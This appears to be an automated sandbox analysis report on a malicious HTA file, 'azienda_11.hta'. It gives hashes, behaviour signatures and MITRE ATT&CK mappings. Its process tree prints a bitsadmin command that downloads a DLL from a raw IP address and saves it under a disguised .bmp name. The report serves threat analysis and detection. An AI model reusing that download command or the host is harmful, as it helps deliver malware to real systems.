6eac01ee3addb4f2cf2bbc77026096b41c21980598c23c8d5cf24c0a471c679b

Analysis

max time kernel
134s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 08:43

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General

Target
azienda_11.hta
Size 6KB
Sample230207-kmklwsdg2w
SHA256 4389f5a9ec07c7f5f5e46a805854efb5230ea53e744b163058dfe9b3afb00651
MD5 ad0967990318bfa79a0b6f9e8a9d8c8a
SHA1 b42e2ddcb485a3e1c8877bc94ab152df15a8598a
SHA512 ba1e7036a797bd7cb79e85d40116f4ed77ce432af664d952322c09b4db323f52951265196afb0203cd368468baeaaa3dcd0b22d0eba0c83b706b9cd3fceeac81
SSDEEP 96:wYWxWjLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dI96V:2aU77rIKdn863jMM0OD9+VVF4GxikuL
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4968	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4948	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 4948	4968	mshta.exe	83
PID 4968 wrote to memory of 4948	4968	mshta.exe	83
PID 4968 wrote to memory of 4948	4968	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_11.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.3/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:4948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads